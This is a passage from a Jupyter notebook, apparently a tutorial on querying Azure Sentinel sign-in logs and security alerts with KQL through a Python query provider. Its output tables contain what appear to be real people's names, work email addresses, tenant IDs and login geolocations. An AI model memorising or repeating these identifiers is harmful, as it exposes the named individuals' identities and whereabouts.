       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>UserType</th>\n",
       "      <th>FlaggedForReview</th>\n",
       "      <th>IPAddressFromResourceProvider</th>\n",
       "      <th>SignInIdentifier</th>\n",
       "      <th>SignInIdentifierType</th>\n",
       "      <th>ResourceTenantId</th>\n",
       "      <th>HomeTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:21.648000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>9558f30b-a1db-4676-a586-7db608bdaa69</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.73078155517578</td>\n",
       "      <td>-78.17196655273438</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:26.252000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>dac1edbe-1985-4f78-8d20-f4725e28b865</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.7130012512207</td>\n",
       "      <td>-78.15899658203125</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>4</td>\n",
       "      <td>RU</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>9267d02c-5f76-40a9-a9eb-b686f3ca47aa</td>\n",
       "      <td>avasilev@viacode.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>5fccd68a-e65e-46ae-96b1-2d896d680249</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>59.93904113769531</td>\n",
       "      <td>30.3157901763916</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:50.274000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>d1c11047-9e6d-4814-80fc-334c453582a3</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>4</td>\n",
       "      <td>IL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>da48f21e-2f91-4c6a-9d30-56fd10a24672</td>\n",
       "      <td>kobyk@microsoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>72f988bf-86f1-41af-91ab-2d7cd011db47</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>32.16241073608399</td>\n",
       "      <td>34.84468078613281</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:44.957000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>60855931-eec4-466c-a24e-ba630c087a3e</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>4</td>\n",
       "      <td>IL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:44.9579314+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>da48f21e-2f91-4c6a-9d30-56fd10a24672</td>\n",
       "      <td>kobyk@microsoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>72f988bf-86f1-41af-91ab-2d7cd011db47</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>32.16241073608399</td>\n",
       "      <td>34.84468078613281</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 69 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "3  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "4  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "\n",
       "                     TimeGenerated  \\\n",
       "0 2021-06-28 10:55:21.648000+00:00   \n",
       "1 2021-06-28 10:55:26.252000+00:00   \n",
       "2 2021-06-28 11:36:15.896000+00:00   \n",
       "3 2021-06-28 12:24:50.274000+00:00   \n",
       "4 2021-06-28 12:24:44.957000+00:00   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "0  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "1  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "2  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "3  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "4  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName OperationVersion    Category ResultType ResultSignature  \\\n",
       "0  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "1  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "2  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "3  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "4  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "0                             0  9558f30b-a1db-4676-a586-7db608bdaa69   \n",
       "1                             0  dac1edbe-1985-4f78-8d20-f4725e28b865   \n",
       "2                             0  974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f   \n",
       "3                             0  d1c11047-9e6d-4814-80fc-334c453582a3   \n",
       "4                             0  60855931-eec4-466c-a24e-ba630c087a3e   \n",
       "\n",
       "           Resource     ResourceGroup ResourceProvider  \\\n",
       "0  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "1  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "2  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "3  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "4  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "\n",
       "                                                Identity Level Location  \\\n",
       "0  On-Premises Directory Synchronization Service Account     4       US   \n",
       "1  On-Premises Directory Synchronization Service Account     4       US   \n",
       "2                                         Arseny Vasilev     4       RU   \n",
       "3                                             Koby Koren     4       IL   \n",
       "4                                             Koby Koren     4       IL   \n",
       "\n",
       "                                    AlternateSignInName  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "2                                                         \n",
       "3                                                         \n",
       "4                                                         \n",
       "\n",
       "                             AppDisplayName  \\\n",
       "0  Microsoft Azure Active Directory Connect   \n",
       "1  Microsoft Azure Active Directory Connect   \n",
       "2                              Azure Portal   \n",
       "3                              Azure Portal   \n",
       "4                              Azure Portal   \n",
       "\n",
       "                                  AppId  \\\n",
       "0  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "1  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "2  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "3  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "4  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "\n",
       "                                                                                 AuthenticationDetails  \\\n",
       "0  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...   \n",
       "1  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...   \n",
       "2  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...   \n",
       "3  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...   \n",
       "4  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:44.9579314+00:00\",\\r\\n    \"authe...   \n",
       "\n",
       "  AuthenticationMethodsUsed  \\\n",
       "0                             \n",
       "1                             \n",
       "2                             \n",
       "3                             \n",
       "4                             \n",
       "\n",
       "                                                                       AuthenticationProcessingDetails  \\\n",
       "0                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "1                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "2                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "3  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...   \n",
       "4  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...   \n",
       "\n",
       "    AuthenticationRequirement  ... RiskLevelDuringSignIn RiskState  \\\n",
       "0  singleFactorAuthentication  ...                  none      none   \n",
       "1  singleFactorAuthentication  ...                  none      none   \n",
       "2  singleFactorAuthentication  ...                  none      none   \n",
       "3  singleFactorAuthentication  ...                  none      none   \n",
       "4  singleFactorAuthentication  ...                  none      none   \n",
       "\n",
       "                    ResourceDisplayName                      ResourceIdentity  \\\n",
       "0        Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "1        Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "2  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "3  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "4  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "\n",
       "  ServicePrincipalId ServicePrincipalName  \\\n",
       "0                                           \n",
       "1                                           \n",
       "2                                           \n",
       "3                                           \n",
       "4                                           \n",
       "\n",
       "                                                                                     Status  \\\n",
       "0                                                                          {'errorCode': 0}   \n",
       "1                                                                          {'errorCode': 0}   \n",
       "2                                                                          {'errorCode': 0}   \n",
       "3                                                                          {'errorCode': 0}   \n",
       "4  {'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'}   \n",
       "\n",
       "  TokenIssuerName TokenIssuerType  \\\n",
       "0                         AzureAD   \n",
       "1                         AzureAD   \n",
       "2                         AzureAD   \n",
       "3                         AzureAD   \n",
       "4                         AzureAD   \n",
       "\n",
       "                                                                                             UserAgent  \\\n",
       "0                                                                                                        \n",
       "1                                                                                                        \n",
       "2  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "3  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "4  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "\n",
       "                                         UserDisplayName  \\\n",
       "0  On-Premises Directory Synchronization Service Account   \n",
       "1  On-Premises Directory Synchronization Service Account   \n",
       "2                                         Arseny Vasilev   \n",
       "3                                             Koby Koren   \n",
       "4                                             Koby Koren   \n",
       "\n",
       "                                 UserId  \\\n",
       "0  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "1  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "2  9267d02c-5f76-40a9-a9eb-b686f3ca47aa   \n",
       "3  da48f21e-2f91-4c6a-9d30-56fd10a24672   \n",
       "4  da48f21e-2f91-4c6a-9d30-56fd10a24672   \n",
       "\n",
       "                                      UserPrincipalName  \\\n",
       "0  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "2                                  avasilev@viacode.com   \n",
       "3                                   kobyk@microsoft.com   \n",
       "4                                   kobyk@microsoft.com   \n",
       "\n",
       "                            AADTenantId UserType FlaggedForReview  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "3  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "4  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "\n",
       "  IPAddressFromResourceProvider  \\\n",
       "0                                 \n",
       "1                                 \n",
       "2                                 \n",
       "3                                 \n",
       "4                                 \n",
       "\n",
       "                                       SignInIdentifier SignInIdentifierType  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "2                                                                              \n",
       "3                                                                              \n",
       "4                                                                              \n",
       "\n",
       "                       ResourceTenantId                          HomeTenantId  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  5fccd68a-e65e-46ae-96b1-2d896d680249   \n",
       "3  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  72f988bf-86f1-41af-91ab-2d7cd011db47   \n",
       "4  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  72f988bf-86f1-41af-91ab-2d7cd011db47   \n",
       "\n",
       "         Type  Result           Latitude           Longitude  \n",
       "0  SigninLogs  Sucess  38.73078155517578  -78.17196655273438  \n",
       "1  SigninLogs  Sucess   38.7130012512207  -78.15899658203125  \n",
       "2  SigninLogs  Sucess  59.93904113769531    30.3157901763916  \n",
       "3  SigninLogs  Sucess  32.16241073608399   34.84468078613281  \n",
       "4  SigninLogs  Sucess  32.16241073608399   34.84468078613281  \n",
       "\n",
       "[5 rows x 69 columns]"
      ]
     },
     "execution_count": 17,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# The QueryProvider will automatically\n",
    "# extract the \"start\" and \"end\" parameters from the query_time property to use in the query.\n",
    "logons_df = qry_prov.Azure.list_all_signins_geo()\n",
    "\n",
    "# You can also specify these parameters explicity\n",
    "# logons_df = qry_prov.Azure.list_all_signins_geo(\n",
    "#     start=qry_prov.query_time.start, \n",
    "#     end=qry_prov.query_time.end,\n",
    "# )\n",
    "\n",
    "if logons_df.empty:\n",
    "    md(\"The query returned no rows for this time range. Using demo data.\")\n",
    "    logons_df = qry_prov_loc.Azure.list_all_signins_geo()\n",
    "\n",
    "# display first 5 rows of any results\n",
    "logons_df.head() # If you have no data you will just see the column headings displayed"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Customizable queries\r\n",
    "\r\n",
    "Most built-in queries support the \"add_query_items\" parameter.\r\n",
    "You can use this to append additional filters or other operations to the built-in queries,\r\n",
    "\r\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Notes:</b><br>\r\n",
    "1. For local data this query is emulated.<br>\r\n",
    "2. If using Azure Sentinel and you have no alerts for this period, no data will display.<br>\r\n",
    "Try extending the time range from the default of 2 to a larger number of days<br>\r\n",
    "in the code below.<br>E.g.\r\n",
    "<pre>start=datetime.utcnow() - timedelta(20),</pre>\r\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "data": {
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       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>AlertName</th>\n",
       "      <th>NumAlerts</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>Suspected brute-force attack (LDAP)</td>\n",
       "      <td>115</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>Users with Greater Than 1 City</td>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>Incident and Automation testing 01</td>\n",
       "      <td>543</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>Malicious credential theft tool execution detected</td>\n",
       "      <td>118</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>TI map IP entity to AzureActivity (enriched)</td>\n",
       "      <td>48</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                            AlertName  NumAlerts\n",
       "0                 Suspected brute-force attack (LDAP)        115\n",
       "1                      Users with Greater Than 1 City          4\n",
       "2                  Incident and Automation testing 01        543\n",
       "3  Malicious credential theft tool execution detected        118\n",
       "4        TI map IP entity to AzureActivity (enriched)         48"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from datetime import datetime, timedelta\r\n",
    "\r\n",
    "if qry_prov.environment == \"AzureSentinel\":\r\n",
    "    # Actually run the query if using Azure Sentinel data\r\n",
    "    display(\r\n",
    "        qry_prov.SecurityAlert.list_alerts(\r\n",
    "            start=datetime.utcnow() - timedelta(2),\r\n",
    "            end=datetime.utcnow(),\r\n",
    "            add_query_items=\"| summarize NumAlerts=count() by AlertName\"\r\n",
    "        ).head()\r\n",
    "    )\r\n",
    "else:\r\n",
    "    # Emulate the results using pandas for local data\r\n",
    "    display(\r\n",
    "        qry_prov.SecurityAlert.list_alerts()\r\n",
    "        [[\"AlertName\", \"TimeGenerated\"]]\r\n",
    "        .groupby(\"AlertName\")\r\n",
    "        .count()\r\n",
    "        .rename(columns={\"TimeGenerated\": \"NumAlerts\"})\r\n",
    "        .head()\r\n",
    "    )"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Custom queries\r\n",
    "\r\n",
    "Another way to run queries is to pass a full KQL query string to the query provider.\r\n",
    "\r\n",
    "This will run the query against the workspace connected to above, and will return the data \r\n",
    "in a [Pandas DataFrame](https://pandas.pydata.org/). We will look at working with Pandas in a bit more detail later.\r\n",
    "\r\n",
    "<p style=\"border: solid; padding: 5pt\"><b>Note</b>:\r\n",
    "exec_query is not supported for local data.\r\n",
    "</p>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
